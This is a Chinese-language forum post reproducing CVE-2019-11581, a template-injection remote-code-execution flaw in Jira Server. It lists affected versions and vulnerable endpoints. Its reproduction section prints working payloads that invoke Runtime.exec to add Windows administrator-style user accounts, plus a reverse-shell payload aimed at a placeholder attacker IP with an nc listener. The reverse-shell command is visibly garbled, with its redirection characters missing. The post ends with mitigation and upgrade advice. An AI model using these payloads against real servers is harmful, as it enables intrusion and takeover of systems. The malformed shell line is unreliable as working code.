標題:Atlassian JIRA服務器模板注入漏洞復現(CVE-2019-11581)

taibeihacker

Moderator

0x00 漏洞描述​

Atlassian Jira是澳大利亞Atlassian公司的一套缺陷跟踪管理系統。該系統主要用於對工作中各類問題、缺陷進行跟踪管理。
Atlassian Jira Server和Jira Data Center存在服務端模板注入漏洞,成功利用此漏洞的攻擊者可對運行受影響版本的Jira Server或Jira Data Center的服務器執行任意命令,從而獲取服務器權限,嚴重危害網絡資產。

0x01 CVE编号​

CVE-2019-11581

0x02 漏洞危害等级​

高危

0x03 漏洞影响范围​

AtlassianJira 4.4.xAtlassianJira 5.x.xAtlassianJira 6.x.xAtlassianJira 7.0.x
AtlassianJira 7.1.x
AtlassianJira 7.2.xAtlassianJira 7.3.xAtlassianJira 7.4.xAtlassianJira 7.5.xAtlassianJira 7.6.x 7.6.14AtlassianJira 7.7.xAtlassianJira 7.8.xAtlassianJira 7.9.xAtlassianJira 7.10.xAtlassianJira 7.11.xAtlassianJira 7.12.xAtlassianJira 7.13.x 7.13.5AtlassianJira 8.0.x 8.0.3AtlassianJira 8.1.x 8.1.2AtlassianJira 8.2.x 8.2.3

0x04 漏洞简析​

1.利用前提条件:第一種,未授權代碼執行利用條件:Jira已配置好SMTP服務器,且需開啟“聯繫網站管理員表單”功能。 (從WEB界面設計上看,實際上如果沒配置SMTP服務器,無法開啟此功能
第二種利用場景前提是拿到Jira管理員的權限,利用條件較難滿足,這裡主要分析第一種情況。原因在於atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators未對Subject(郵件主題)處進行過濾,用戶傳入的郵件主題被當作template(模板)指令執行。在任何一種情況下,成功利用此漏洞的攻擊者都可在運行受影響版本的Jira Server或Jira Data Center的系統上執行任意命令。
2.以下两种url漏洞验证方式:第一種無需管理員賬戶權限:http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa
vzehlueyvog22512.png

第二種需管理員賬戶權限:http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa
pbbfpcvz1eq22513.png

如果出現以下運行版本號則為存在漏洞。

0x05 漏洞复现​

1. 漏洞利用条件聯繫管理員處必須開啟(需要知道後台管理員賬號密碼)
2.环境准备:Atlassian JIRAv7.13.0(以該版本為例,該版本存在漏洞)下載地址:
安裝過程不再描述(按照提示進行安裝,先在官方註冊一個賬號然後拿到一個試用期序列號並進行安裝),注意,到了郵件配置那一步經盡量選以後(默認就是),然後進入後台配置。
3.确认未登陆状态下漏洞的存在訪問如下URL(無需管理員賬戶權限):
如果提示如下圖,這說明沒有配置聯繫管理員是無法觸發漏洞。
y0uzwkshqsj22514.png
請登陸後台開啟聯繫管理員,配置地址如下:
默認是關閉的,需要配置了STMP發信後才能開啟,配置STMP的時候可以測試連接,服務器必須開25端口,不然不能發郵件,下圖是開啟成功
krakrzerks022515.png
4.未登陆状态下触发漏洞訪問
kboeq5mhofs22516.png
在Subject填入payload,注意,我這裡環境是windows機器,所以可以添加賬號觀察,Linux可以用反彈shell的代碼等等,反正換成自己想執行的命令。
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()
wa5c3uc4syt22517.png
發送了後可能會等一會兒,因為要加入郵件隊列。這時候再上服務器執行net user查看,發現正是剛剛執行命令添加的賬戶。
dhx05x5rytb22518.png

5. 登陆管理员账号触发漏洞登陸管理員賬號,然後訪問如下URL:
填入payload,如下,注意執行命令添加賬號的賬戶名
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor()
vp2vcerunzh22519.png

jynyvwlz5mh22520.png

linux下可執行:
目標Jira系統可執行的POC
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i /dev/tcp/攻擊者IP/2333 01').waitFor()
攻擊者主機執行:nc -lvvp 2333

0x06 漏洞修复​

1.临时处置建议若無法及時升級Jira,可採取以下緩解措施:
1.禁止訪問http://ip:port/secure/ContactAdministrators!default.jspa
2.關閉聯繫網站管理員表單功能,具體步驟如下:
設置=系統=編輯設置=聯繫管理員表單處選擇“關”,然後點擊最下面的“更新”保存設置。
p2jkfneq1lv22521.png
編輯設置
4sk0f1feods22522.png
關閉聯繫網站管理員表單功能
2.处置建议1.升級到不受漏洞影響的版本。
2.對http://ip:port/secure/admin/SendBulkMail!default.jspa限制訪問的源ip

0x07 参考文献​

 
返回
上方